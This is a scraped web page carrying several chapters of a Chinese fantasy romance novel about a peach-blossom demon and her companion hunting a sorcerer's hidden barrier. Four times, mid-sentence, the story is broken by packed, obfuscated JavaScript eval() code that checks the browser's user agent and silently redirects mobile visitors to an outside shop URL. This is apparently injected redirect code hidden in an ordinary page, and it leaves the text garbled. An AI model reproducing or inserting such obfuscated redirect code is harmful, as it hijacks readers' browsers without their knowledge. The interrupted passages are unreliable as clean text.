那时,助理告诉他,陈彪那边传来消息说,有一个流浪动物救助基地和他们作对,已经有好几次抢先一步救走了他们看上的目标。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116502|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈彪说,他手底下的兄弟已经摸清了那个基地的来头,就是两个没背景的小姑娘,要不要他们出手整整她们,让她们不敢在干流浪动物救助。 赵桥知道后,想着既然要处理,与其让陈彪去将那她们吓走,不如一不做二不休,直接解决了她们。 于是赵桥派人重新查了李碧桃和夏琪的资料。 当两个人的资料送到赵桥手上时,赵桥拆开李碧桃的资料袋,一眼被纸张右上角照片上的人吸引住了目光。 她很美,美到只一眼,就让赵桥改变了想法。 赵桥决定亲自去见她一面,他确认了她们两个女生,的确是没有一点儿背景,尤其是李碧桃,一个孤儿,无依无靠。只要他想,让她消失在这个城市里,轻而易举。 见到李碧桃之前,赵桥心里已经拿定了主意,甚至手下的人已经做好了准备。他准备了一套房子,安静、安全,是一个完美的鸟笼,用来关住她这样美的金丝雀再合适不过。 可在他看到李碧桃的那一瞬间,他放弃了这个想法。 那时的李碧桃就在那个城中村的基地小院里,春日的暖风吹绿了树木枝桠,她坐在院子里和那只巨大的阿拉斯加玩耍,春光照在她身上,就好像,她在发光。 她的长相明明是那种近乎妖冶的美,可当她笑起来的时候,却是那么的温暖和烂漫,仿佛无边夜空中的璀璨繁星,穿过亿万年光阴,为亘古漆黑的长夜,送来无数光亮。 赵桥不想将她拉到地底了,他想走出去,走到她身边,一起晒太阳。 于是后来,就有了没毛病宠物医院。 无论赵桥到底是个什么样的人,无论他有着怎样复杂的过往,在她面前,他只是那个热爱小动物,有爱心的、善良的赵医生。 直到他看到白絮飞出现在她身边。出于本性里的阴狠和占有欲,他想过直接做掉白絮飞,可当他看到她对白絮飞扬起的笑脸时,又觉得这样似乎也挺好。 毕竟,他注定不能永远站在阳光下,她身边该有一个人,陪着她走过晨昏与朝暮,不论是暴雨还是炽热骄阳,都能与她并肩而行。 赵桥想,他做不到,但白絮飞可以。 可偏偏,李碧桃,是红雨。天底下的人何其多,偏偏她是那个桃花妖。 也对,她那么美,美到轻轻松松地摄人魂魄,怎么可能不是个妖怪呢?她就是那个桃花妖红雨,一切是那么的荒谬,却又合理。 意识回笼,赵桥摸出打火机,将手中的照片点燃。火焰自下而上,吞噬了照片中姑娘的眉眼。 直到火焰灼烧到手指,赵桥才松开手,他定定地看着,手上的照片化为灰烬,在掉落在地上的那一刻,灰烬破碎、烟尘浮起。 赵桥将拉起的一角窗帘重新合上,房间重又陷入一片密密实实的黑暗。 在黑暗中,赵桥勾了勾唇。 她注定不能成为他的爱人,但说不定,她能成为他的“恩人”。 69. 入口 三天前,玄都和红雨根据道初给他们的资料,开始对乔家父子所有的房产住处进行调查和摸底。 他们用了三天时间,把资料上出现的所有地点都摸了一遍,终于查到了一处格外可疑的地址,那就是位于福康路的一个别墅区。 这日下午,玄都开车载着红雨,来了福康路这边。刚一下车,红雨便觉得这附近有一种说不出来的诡异感。 福康路的位置很好,算不上偏僻,甚至从风水学上来看,这里依山傍水,算得上是一块风水极佳的地方,非常符合有钱人对住宅的风水要求。 可这里却安静的出奇,冷清到近乎荒芜。 红雨和玄都到的时候,正是日落时分。按理说,正值夏天的平州白天闷热,人们一般都尽量避免外出活动,而到了傍晚,正是一天之中气温最清凉舒适的时候,出来遛弯活动的人也多了起来。 可福康路附近,却没什么人。就连主干道上经过的车辆都不如平州市其它地方多,路上的行人更是寥寥无几。 两人在福康路附近转了一圈,正准备走进去找资料上的那个别墅区时,一个行色匆匆、偶然路过的大叔叫住了他们。 大叔五十岁左右,是个很热心的人。他见玄都和红雨正要往里面走,隔着好几米远,便扬声喊道:“喂!别往里走了!” 闻声,玄都和红雨停下了脚步。 红雨心里觉得奇怪。怎么说这也是一条公共道路,哪怕里面是富人别墅区,也不至于豪横到不让人随便途径路过吧? 她看着急忙跑过来的大叔,问道:“怎么了吗?这里是不允许随便进入吗?” “那倒不是”大叔摆摆手,向两人背后的街道投去一眼,表情有些讳莫如深。大叔解释说:“你们要是来这边办事的话,尽量白天来吧,日落之后就别来这边了。尤其是这都这个时间了,马上天黑了,就别往里面走了。” 红雨察觉到大叔话里的忌讳,和玄都对视一眼,思绪转的飞快,张口便道:“我们是外地的,来这边办点事,对这儿也不熟悉,请问大叔,这里为什么日落之后就不能来了啊?是有什么说法吗?” “怪不得呢,我说你们怎么一点儿不避讳,都快日落了还往这边来呢。”大叔用一种恍然大悟的语气说。 他见两人不解,抬起手,指了指街边的路牌。 红雨和玄都顺着他手指的方向看过去,只见蓝色路牌上,写着“福康路”三个大字,底下是一条白色区域,标注了“福康路”的英文。 没什么特别的地方,就是非常普通、随处可见的那种路牌。 玄都问道:“福康路……是有什么问题吗?” 大叔一脸深沉,刻意压低声音道:“这儿原先叫皇权路。” 黄泉路? 怪异的这么直接吗? 红雨眨了眨眼睛,虽然她之前就感觉这里有些诡异,但是倒也没想到诡异成这样,于是脱口而出道:“黄泉路?这名字这么怪吗?” 这是哪个鬼才取的名字? 大叔一猜就知道他们误会了,于是说:“不是那个黄泉。是皇帝的皇,权力的权,据说是曾经有一个皇帝在这儿出生,出生的时候还有祥云降世,天生皇帝命,最后推翻了上个朝代,真成了皇帝,所以这条路就叫皇权路了。” 大叔缓了口气,接着说:“以前这块儿其实挺热闹的,大家原本也没想到那一层,都觉得这是皇帝的出生地,皇权皇权,听起来就霸气,直到后来这块儿总出事,大家才想到同音的那个黄泉。” 听到大叔这么说,玄都挑了下眉,问道:“总出事?” “对!”大叔点点头,“大约是十多年前吧,这块儿每到日落之后,日出之前的时候,这条路上就总是出各种事,死了不少人。什么车祸啊,变态杀人案啊,甚至还有走走路一跤摔死的,你说这死的多离谱?就这么的,慢慢时间长了,大家才觉得,这皇权路谐音那个黄泉,寓意不好,就对这儿有了忌讳。” 大叔:“大家心里忌讳,也就不愿意过来这边,甚至之前住在这里的人搬走了一大半,这条路上原本的商铺也都关门了,这附近的地方也就越来越荒废了。” 大叔:“后来政·府就给这条路改了名字,改成了福康路,又想在这儿建设新商圈,刚开始还有人觉得改了名字就没事儿了,因为店面租金低,不少商家都来这边尝试开店,结果怎么着?短短一个月,跳楼死了四个,车祸没了七个,还有被砖瓦铁架掉下来砸死的好几个,折进去了十好几个人!大家这下不信也不行了,别说开店了,就是之前那些没条件搬不起家的人,这次宁可租房子住,也都搬走了。” 他看见两个年轻人神色严肃了不少,想来是听进去了,一想到他们还要过来这边办事,于是说:“不过这里只要太阳在就没什么事儿,出事儿也都是在晚上没太阳的时候,你们要是想过来办事的话,明天白天再过来吧。” 玄都和红雨跟这位热心大叔道了谢,等大叔走后,两个人头也不回地进入了福康路。 他们把福康路附近都走了一遍,看到了寂静无人的街道,装修一半的店铺,一个早已搬空的师范学校旧校区,还有一些早已没人居住的居民楼。 的确就像是那个大叔说的一般,这条路似乎很久不怎么有人过来了,到处都透着荒芜。似乎就连上边都不怎么爱管这块地方了,街头巷尾随处可见堆积的装修废料,还有一些当年搬家的人带不走的破旧家具。 这些东西胡乱堆放着,在烈日暴晒和雨水冲刷的交替下,已经看不出原本的颜色了。足以见得,这里的确是很久不曾有人生活了。 可他们走遍了整个福康路,也没看到所谓的别墅区在哪儿。甚至,连别墅区建设的痕迹都没有。 两人站在长而空荡的大街街头,目光扫过整条马路,以及两边的建筑物。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157330|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >红雨抱臂沉思片刻,语气肯定道:“我感觉,就是这里了。” 玄都将关于乔氏父子的调查文件又翻了一遍,沉声道:“资料里所有的地址我们都去过了,唯独这里。” 他又思考了下这里的风水位置,以及那个路人大叔说的话,道:“如果赵生慈就是乔父,那这里,的确满足他对栖身地的要求。” 风水适宜,能帮他养灵养阵,助他修行。人烟稀少,不用担心被人打扰和发现。 因为这附近没什么人,红雨也就没遮掩,于是大大方方地摊开手,一团淡粉色光雾,就这么出现在她手心里,光明正大地盘绕旋转。 她看了一会,皱了皱眉,道:“明面上我们肯定是找不到了,我刚才用法力探了一圈,也没探出什么,那就剩下两种可能了。第一种,就是咱们找错了地方,这儿不是赵生慈的老巢。这第二种嘛……” 玄都也想到了这一点,心照不宣道:“他用了阵法或结界,将他栖身的地方藏起来了。” 这就是红雨犯愁的原因所在。 无论是阵法还是结界,都能通过一定的方法藏匿起来。表面上看可能是一条熙熙攘攘地热闹长街,可说不定,就藏着一个能容纳千百人的大阵,或是藏着一个无数次路过却难以感知的结界。 既是藏匿,要想进入,便需要找到入口。而找入口,绝对是一件让人头疼的事。 想到要找入口,红雨重重地叹了一口气。 她自三百年前化形以来,虽然修的术法中,大半都是仙家术法,可却都以攻击为主,在阵法和结界方面,她可以说是一窍不通。布阵和设结界都颇为困难,更别说找别人阵法和结界的入口了。 于是,红雨皱着眉头,可怜兮兮地看向玄都:“我不会找入口,布阵解阵、设结界破结界,这种法术修炼起来实在是太繁琐了,三百年前我从来没学过。” 玄都勾起唇角,无奈地摇了摇头,道:“是因为繁琐,还是因为无趣才没学的?” 当然是因为无趣!阵法结界什么的,在三百年前的红雨眼里,一定是最无趣的术法。比起这些严谨无趣的术法,她还是喜欢类似于抽魂术这种干脆又凶悍的。 但她坚决不承认,一口咬死:“繁琐!你知道的,我那个时候没文化,也不太聪明,阵法结界什么的太繁琐了,我学不会。” “好,是因为繁琐。”玄都嗓子里溢出一声笑,没有戳穿她,温声道:“这种繁琐又无趣的术法,就交给我,嗯?” 红雨顿时疯狂点头:“好!那……我们怎么找入口?” 玄都收好资料,一手拿着文件夹,一手牵起红雨,往车停的方向走:“入口倒是能找,不过需要一样东西。既然之前这里都是在晚上出事,说明到了晚上,入口便更容易显形,所以才会有那么多人意外闯入或是被拉入,从外边看,他们便是因为各种意外而死。我们先回去取东西,明晚再过来。” 70. 追踪 次日上午,夏琪和白豆豆到基地后,红雨便和玄都去了馄饨店。 玄都从自己的卧室抽屉里,拿出了之前红雨一直戴在身上的那个符篆。 红雨见他将包裹着红布的符篆捏在指尖,想起她恢复记忆时,两个人讨论的事,问道:“我记得你说过,赵生慈之所以能找到我,就和这个符篆有关系……所以,这是个什么符?我们要用它来找入口吗?” 玄都沉默片刻,沉声道:“当时你问我这个符篆对你恢复法力外溢是否有帮助的时候,我测过这个符篆,虽然我没有认出这是什么符,但确定了它不会对人造成伤害,才让你戴的……” 说着,玄都顿了一下,才接着道:“直到前不久,我才从一本古籍里看到,这是一种不太常用的追踪符,因为这种符篆必须见血才能反馈目标的讯息,使用起来过于麻烦,所以很少有人学习和使用这种符。估计赵生慈不曾入仙门修习,也无从得知这种符篆的弊端,是以便按照他搜罗来的古籍学着画了这种追踪符。” 红雨的视线一直落在玄都身上,站在他身边,静静地听他说完。 她听出玄都话里的自责,想来他是觉得,当初是由于他的疏忽,让她戴了这个追踪符,才让赵生慈发现了她的踪迹。 “那还多亏了这符篆。”红雨笑着说。 玄都看向她,对上她盈盈一笑的双眼,挑眉问道:“为什么这么说?” 红雨抬手将拉开的抽屉推了回去,转身正对着玄都,靠坐在墙边的一米高的柜子上,道:“要不是这符篆让赵生慈找到我,我岂不是现在都不能恢复记忆?” 玄都失笑,解释道:“天罚对你的魂魄造成的损伤太过严重,我本想等你的魂魄彻底恢复的时候,再归还那离体的一魂一魄。只是当时情况紧急,以我的法力不能送你离开赵生慈的结界,才不得已提前让你醒来。” 红雨一边点头一边说:“你太谨慎了……而且你看,我现在不是很好嘛,一点问题都没有,可见提前恢复记忆也没什么。所以你不用自责我被赵生慈找到的事情呀!” 玄都明白红雨是想宽慰他,不想让他自责,于是眉宇舒展开,点了点头,温声含笑道:“是,红雨姑娘说得对,是在下紧张过度了。” 红雨的脸上露出心满意足的笑,葱白的指尖指了指玄都手里的符篆,又说回了正事:“所以这个符……能帮我们找到入口?” 玄都正色道:“能。这既然是他的追踪符,那这上面一定有和赵生慈的连接。他既然能用这个发现你的踪迹,我们就能反过来用它去找赵生慈。” 红雨的眼睛盯着这符篆,回想起这符篆的来历,道:“给我符篆的是个鸟妖,难不成……那个鸟妖是赵生慈的人?” “应该不是。”玄都道:“他就是个普通小妖,身上没有沾染邪术的痕迹。只是这符篆的来历,确实需要找到他问上一问。” 红雨:“我们去哪儿找他?” “还记得我当时说,那鸟妖并无恶意吗?”玄都问说。 红雨点头道:“记得啊……你认识他?” 玄都道“我来见你之前,就在基地附近察觉到了他的妖气。我留意了他一段时间,发现他只是在这附近装作算命术士,卖符篆换些钱用来买吃食,并没有什么恶意,所以也就由他去了。 他抬手指了指房间西侧的窗户,“他白天的时候变作人的样子算命卖符,晚上便会变回真身栖身在城西景区的树林里。” 红雨眼前一亮,连忙起身,迫不及待道:“那我们现在就去找它问清楚!这样好快点去找赵生慈算账!” 说着,红雨抬腿就要走。 忽地,玄都从身后拉住了她的手腕,语气温柔却很认真:“红雨,你……答应我,如果和赵生慈交手,不要逞强,尤其是……不能祭出真身。我会留一道阵法,保证我们随时都能撤退。” 红雨没有多想,只是以为玄都担心她祭出真身对自己造成不可逆转的伤害,所以才这么说。她笑着点头,答应地干脆利落:“放心!赵生慈现在的法力也不配让我祭出真身和他打!” 玄都笑着摸了摸她的头,牵着她的手,和她一起走出馄饨店,前往那鸟妖栖身的景区。 虽然临近秋分,但平州的温度还很高,上午的太阳很大,晒得空气沉闷又燥热,即使是景区,游客也不是很多。 林区周围,零星几个游客在狭窄的树荫下晃晃悠悠地走着。 玄都根据妖气的痕迹,用符篆定位了鸟妖栖身的位置。那是位于一棵白杨树树梢上的鸟窝。 两个人到的时候,鸟妖并不在这里,但他的巢在这儿。 于是玄都避开游客的视线,往那看似平平无奇的鸟窝中送了一张符篆,不多时,鸟妖感受到自己老巢的法力波动,匆匆赶了回来。 鸟妖依旧是那副老者姿态,脸上皱纹遍布,可那双眼却清明的很,此时或许是担心老巢的情况,神色焦急,步伐灵敏迅速。 鸟妖走的近些时停了下来,他虽然修为不高,但还是敏锐地感觉出来,站在他的窝底下的这两个人,不是什么普通人。 他走到二人身边,谨慎地看了看不远处的游客,低声道:“二位仙家,可是我做了什么冒犯了两位,因何扰我老巢啊?” 他其实没看出玄都和红雨的身份,叫仙家只是尊称,只要是比他修为高的,他都喊做仙家。 红雨歪头看他,问道:“大师,你还记得我吗?” 闻言,鸟妖抬头看向红雨,终于记起来了。 只是这姑娘上次买他符篆时身上虽然有些奇异的地方,但的的确确是个普通人。可如今,虽然她长相什么的一点儿没变,但周身暗自涌动的法力却比他强出不知道多少倍。 鸟妖想不明白为什么,但碍于实力差距,也没敢多问,只是笑嘻嘻道:“哈哈哈……是姑娘你啊……可是我上次卖你的符篆不好用?要是退钱的话也行,但能不能等我两天,等我卖出符篆赚到钱再退给你。” 说着,他不好意思地挠了挠头,说:“当时你给我的那五十块钱… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191295|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …让我拿去买种子粮吃了。” 红雨最是看不得人示弱。尤其这鸟妖是一副老者的模样,干巴巴的一个瘦小老头,此刻一脸局促,怎么看都让人于心不忍。 红雨连忙摆手道:“不是不是,我不用你退钱,就是有点事儿想问您。” 鸟妖松了一口气,道:“那……那问吧,我要是知道,我一定说。” 红雨没有拐弯抹角,直奔主题问道:“你当初卖给我的符篆,是从哪里来的?” “呃……这个……”鸟妖神色犹豫,似乎不是很想说。 玄都在一旁不经意地补充了一句:“如果您如实相告的话,您剩下的符篆,我们以双倍的价格全包。” 一听这话,鸟妖眼睛都亮了几分。 他修为不高,能修成人形,运气好占了大半,所以他也没什么追求。 他不求自己能修炼成什么大妖能呼风唤雨、腾云驾雾,他只是觉得这人身很是方便,能随意出入商店给自己买种子粮。 所以他只想自保,能有许多种子粮吃,有一个窝可以栖身,法力虽然不高,但刚好能保护自己不被人类伤害。对他来说,这就足够了。 如果他能一下子把剩下的所有符篆都卖出去,还是双倍的价格,那他以后岂不是可以能买很多很多种子粮,够他吃很久了。 这么一想,鸟妖兴高采烈地朝两人招招手,领着两人到一处没人的地方。 他将一直背在身侧的布袋递给两人,道:“这就是我全部的符篆了,应该有一百来个,你们数数。” 玄都接过布袋,朝里面扫了一眼。 里面有几个红布包好的符篆,但大多数的符都还没有包红布,叠放成一沓随意地塞在布袋里。 玄都将那一沓符篆拿出来看了一下,有些和他之前卖给红雨的那个追踪符是一样的,除此之外,还有些乱七八糟看不出是什么的符篆。 玄都没有仔细数,只是道:“你报个数目,我付给你。” 鸟妖看了看玄都的神色,确定他没有开玩笑,犹犹豫豫地伸出两根手指。 玄都没有说什么,爽快地点了头。 鸟妖见玄都出手大方,便滔滔不绝地介绍起这些符篆的来历。 他指着其中一些画着乱七八糟图案的符篆道:“这些,这些,还有这些,都是我自己学着画的。我没有骗人,我真往里面放了法力,就是不知道怎么回事儿,这些符篆不太好用。” 玄都挑了挑眉,没说什么。 红雨跟着他手指的方向将那些符篆看了一遍,眉心一跳。 这些符篆好用那就怪了。 虽然她对符篆术法也不算精通,但也知道,画符这种术法,有走笔什么的各种要求。这鸟妖画的符篆完全就是胡乱作画,根本算不上画符。即使往里面封了法力,也是运转不了的。 玄都从其中拿出几张追踪符,问道:“那这些符篆呢,你从哪儿拿到的?” 鸟妖嘿嘿一笑,道:“这个嘛……就说来话长了……” 71. 大门 他刚开始化为人形的时候,学不会怎么变回真身。他自己摸索着练了许久,终于有一天,误打误撞,学会了在人形和真身之间来回转换。 人身哪里都很好,也很方便,只是一样……不会飞。 所以在他摸索着终于变化真身的时候,他用真身做的第一件事,就是撒欢到处飞。结果一不小心乐极生悲,撞上了窗户玻璃。 他当场就撞的昏死了过去。 好在有修为在身上,轻易死不了。等他醒过来的时候,发现自己被一个少年捡了回去。 少年还在上学,父母常年在外忙碌,平时只有他一个人独自生活。 他的真身也不是什么保护动物,可以养来作伴,而他天性又懒散,也乐得有人饲养。 于是一人一鸟,就这么互相陪伴在一起。 直到有一天晚上,到了放学的时间,他迟迟没有等到少年回来。 他一直等到凌晨,依旧没有等到少年。于是他变成人形,出门找人。 最终,他是在一条寂静的街道上找到少年的。穿着白色校服的少年,躺在一片血泊中,身上压着一块巨大的石板,早已没了生息。 他好歹是个妖,在少年的尸身上,他嗅到了结界的术法痕迹。但他法力太低了,即使发现了结界的痕迹,也根本进不去。 但从那之后,他常常去那附近转悠,还认识了许多和他一样的鸟妖朋友,询问他们关于这附近结界的线索。 他找了许久,线索没找到,反倒和他的那些鸟妖朋友们一起,卷入到了结界之中。 于是他在结界里,看到了一个截然不同的天地。 阴森的庄园,数不尽的房间,一模一样的黑衣人,还有那个如地狱一般的房间。 他的朋友们大多死在了那个房间里,他侥幸逃了出去,在那漆黑的走廊里拐了又拐,走了许久,他实在是没力气了,最后拐进了走廊尽头的一个房间里。 那似乎是个杂物间,里面堆放着各种奇奇怪怪的器物,还有一些书籍和符篆。 他想为朋友们报仇,也怀疑少年的死和这里有关,但他对自己的法力有自知之明,他不能给他们造成什么实质性的伤害,于是他毁了那个房间里的东西。 书籍撕碎,器物砸毁,符篆一半点火烧了,一半被他藏在了身上。 然后他放了把火,在那些人救火的间隙,他趁乱逃出庄园,在那漫无边际的森林里走了许久,终于重新回到了少年死的那条街。 他知道,自己这是逃出了结界。 他不敢多停留,连忙离开了那附近。在他化为飞鸟扑扇翅膀离开时,转头看了一眼身后。 写着“福康路”的蓝色路牌,就立在街口处。 鸟妖似乎是憋了许久,终于能将这些过往说出口了。说这些事的时候,他带了强烈的情绪,时而伤心落泪,时而生气咒骂。 玄都和红雨也没有打扰他,只是静静地听他说完。 说到最后,鸟妖抹了把脸,脸上又露出笑容来,指了指玄都手里的符篆,道:“这些东西就是这么来的,虽然我也不知道这些符是干啥的,但是我往自己身上打过两张,确定没害处,才敢到处卖的。” 他不知道的是,这是一些追踪符,见血才生效,打在身上自然是看不出来的。 玄都将那些符篆收好,回想起鸟妖方才说的那些话的细节,问道:“你刚才说,你从结界里走出来的时候,回到了那条街道,你记得那条街大概在什么位置吗,附近有什么标志性建筑,酒店?商铺?” 鸟妖仔细回想着,不自觉地蹙起眉头,片刻后,微眯的双眼陡然睁大,扬声道:“我想起来了,那是一个平州师范学校的后街!” ** 两人和鸟妖分开后,沿着景区的路往外走。 走着走着,红雨喃喃道:“怪不得呢……” 她声音有些小,但玄都听清了,问道:“怎么了?” “我说,怪不得当年救下鸟妖的那个少年死在街上的时候,竟然一时间都没人发现。”红雨道:“师范学校的后街,学校都有门禁,如果是半夜出事的,很难被人发现。” 彼时,那个少年正在读高中,晚自习结束就已经很晚了,再不幸被卷入结界里面,在结界中徘徊一段时间,出事的时候,正是寂静深夜。 算了算时间,红雨感慨道:“要是那个人活着的话,现在已经工作了。” 感慨过后,红雨又骂道:“该死的赵生慈,害死了多少条性命!” 一旁的玄都似乎一直在想着什么,目光落在红雨毛茸茸的头顶,复杂又缠绵。 直到红雨转头看向他,玄都下意识勾唇,温声道:“别急,他做的事,今天晚上就会有一个结果。” 听他这么说,红雨心情好多了。 一想到能和赵生慈清算这三百年来的账,红雨就觉得激动又兴奋。兴奋之余,她才对这件事的危险程度有了一点点的认知。 她不怕和赵生慈动手,但是怕玄都受伤。 红雨再三强调道:“我们说好了,和赵生慈的事我亲自动手解决,到时候我们打起来的时候,你就给自己开个阵法,把自己保护起来,等我解决了赵生慈,我们就一起回家。” 玄都点点头,说好。 红雨满意了。 自她上次和赵生慈交手时便发现,赵生慈在这人间强留蹉跎三百年,他虽然拿了自己的福德,但毕竟是逆天行事,恐怕这三百年他过的也不是很轻松。 他的修为法力比之从前弱了许多,一副垂垂老矣的身躯早已是强弩之末,即使禁术再凶险强大,恐怕如今的他也驾驭不了了。 而且随着时代变换,他那种依靠怨念修炼的邪气法术,已经不可能像三百年前那样随意抓人设人头阵什么的了。 所以他只能退而求其次,以飞鸟走兽代替人,激其怨气,助己修炼。 尽管他也祸害了许多无辜生灵,但效果和三百年前相比较,就差得远了。 所以红雨其实没有很担心和赵生慈的这一战,对她来说,这次去赵生慈的老巢找他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221321|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就和三百年前她同玄都一起下山除邪祟一般,虽然有危险,但是完全能应对,自然也不用百般斟酌,万般畏惧。 两人并肩走过景区小路,顶着烈日长空,走向夜色深处。 两人再次来到福康路,是在午夜时分。 午夜的福康路更加寂静,长街空荡无人,穿堂风呼呼作响,诡异又阴森。 红雨耸了耸肩,吐槽了一句:“这儿比地府还像地府。” 玄都抬手点亮路两旁已经暗了许久的路灯,道:“长时间荒无人烟,曾经有许多人在此丧生,又藏了个邪术结界,阴气难免重。” 因为之前已经来过这边一次,所以两个人轻车熟路地找到了那所师范学校。 十几年前,平州要建设新的开发区,特意规划了一个高校区,把平州的几所高校全都迁了过去。 平州大学那种老牌名校因为办学规模大,招生也多,即使建设了新校区,老校区也依旧在在使用。 但平州师范因为规模小,新校区完全能容纳办学需求,老校区也就不再使用了。 于是,位于福康路的师范老校区,十年前就搬空了。 本来是雇了人看守老校区的,但因为总有人在这附近出事,慢慢的,也就没人敢干了。于是学校就把所有有价值的东西搬走了,这儿就剩下一个空荡荡的校园,和早已封锁的教学楼。 原本深红色的教学楼在风吹日晒下,色彩渐渐褪去,只剩下一层淡淡的红。 教学楼上一排排黑漆漆的窗户,就像是无数双眼睛,无声地凝视,让每一个来到这里的人,毛骨悚然。 红雨和玄都对视一眼,红雨后撤半步,将寻找入口的差事交给玄都。 玄都拿出那张沾了红雨血迹的追踪符,站在师范学校门口,将符篆扬手扔向空中。 果不其然,那符篆如同感受到召唤一般,飘转着飞向校园深处。 符篆飞了许久,终于在一处石像前停了下来,稳稳地落在石像的交叠的双手上。 玄都捏了个法诀,朝着石像打出。 下一秒,在法诀与石像相撞的地方,迸发出数道耀眼白光,刹那间,原本漆黑的校园亮如白昼。 光亮稍纵即逝,在光亮消失的瞬间,一道巨大法术屏障暴露出来,如同一道无边际的玻璃幕墙,通体流光,阻挡着外人的进入。 玄都收回手,看着眼前的屏障,轻声道:“原来在这儿。” “石像……”红雨呢喃一句,发现那石像已经变了模样。 原本的石像,似乎是和这所学校相关的一个名人,灰色的石像上积了一层厚厚的尘沙,满是岁月的痕迹。 可此刻,那石像已然变成了浓郁的黑色,身上有红色的流纹在闪烁。石像的双目射出两道光线,打在法术屏障上,像是支撑屏障的源泉一样。 红雨看着变幻的石像,猜到了大概。 如果说,那道流光屏障是大门的话,那石像的这两只眼睛,应当就是大门锁孔。 要想进入,恐怕还要找到钥匙。 72. 躯壳 玄都对上石像放光的双眼,微微皱眉道:“结界设了锁,我们得找到钥匙。” 说是钥匙,其实就是能进入结界的一个凭证,可能是一种符印,也可能是个法诀。 布下结界的人进出是无须凭证的,结界认主,如果一个结界只供主人进出,设锁和钥匙便是画蛇添足。 但赵生慈既然在结界上设了锁和钥匙,便足以证明,除了他自己外,还有人需要频繁进出这个结界。 这锁和钥匙,也是为了方便“他”或者“他们”的进出。 找钥匙的话…… 有点儿麻烦。 红雨抿唇思考了一会儿,抬眸看向玄都,手指着石像,问道:“如果我们不找钥匙,有没有可能把这破结界的门撕开?” 玄都沉思片刻,想起年少时看过的一本书,有一个非常有趣的说法。 书上说:“力强者,术法皆可破。” 也就是说,在绝对的法力强度下,一切的术法都可以直接冲破,自然也无须去寻找那弯弯绕绕的破解方法了。 少年玄都看在这个说法的时候,并没有放在心上。毕竟天下术法又多又杂,其中不乏强悍者,如果一味依靠法力去硬生生冲开,那这个人的法力得多强才行? 但此时,玄都看向已经有些迫不及待,就差搓搓手直接冲进去的红雨,道:“有可能……只是你的魂魄刚恢复不久,经不起你调用如此强大的法力。” 听到玄都说可以,红雨就放心了。 她摊手唤出桃夭斩,晃了晃尾部的铃铛和流苏,得意道:“有它!桃夭斩和我的真身有连接,我魂魄不稳没关系,只要真身没事儿就行!” 红雨十分庆幸地摸了摸桃夭斩,心里想着用桃夭斩破门,只需要晃一晃真身就好,对她的魂魄没什么影响。 虽然因为灵魂不稳,玄都从不许她唤出真身,但用桃夭斩借点真身的力量还是没问题的。 她一边想着,一边准备强拆开这破结界的门,丝毫没有注意到,在她提到真身时,玄都的眸光沉了下去,流露出一种意味不明的复杂情绪。 玄都眼底的情绪转瞬即逝,在红雨看过来时,已经恢复了平时那种温润和平静。他朝红雨笑了一下,俊朗的眉眼中满是缱绻,他只是道:“可以一试,但是别勉强自己,如果觉得不舒服就停下来,我们再想办法。” “嗯嗯!”红雨点头如捣蒜,笑眯眯道。 在她转头看向黑红流光石像的那刻,眼底的笑意尽数收敛,取而代之的是满满的专注和不经意间流露出的狠厉果决。 她掷出桃夭斩,锋利尖锐的刀刃径直插入石像双目之间,粉色的光芒从缝隙中溢出,混在石像周身的黑色烟气与血色流纹之中,从一开始微弱的一缕,随着桃夭斩满满横转刀身,缝隙越来越宽,粉色的光芒也变得更加显眼。 在桃夭斩的刀身完全横过来的时候,红雨抬起双手,源源不断地往桃夭斩上输送法力,呼唤它和自己真身的连接。 在桃夭斩和真身感应到的那一刹那,刀身剧烈晃动,刀刃将结界撕开了一个口子,在结界中烈风的拍打下,发出金属的鸣叫。 尖锐,刺耳。 红雨的所有注意力都放在了拆门上,巧妙地调用身上经脉、真身和桃夭斩的法力,以法力冲击结界入口,直到结界的“门”,被她强行拆掉。 始终站在她身后的玄都,看着她调用法力破门。 在她唤起桃夭斩和真身的连接时,在她没有注意到的身后,玄都捂住了一边肩头,薄薄的手掌死死地按住了左侧锁骨下方的位置。 锁骨之下,心脏之上。 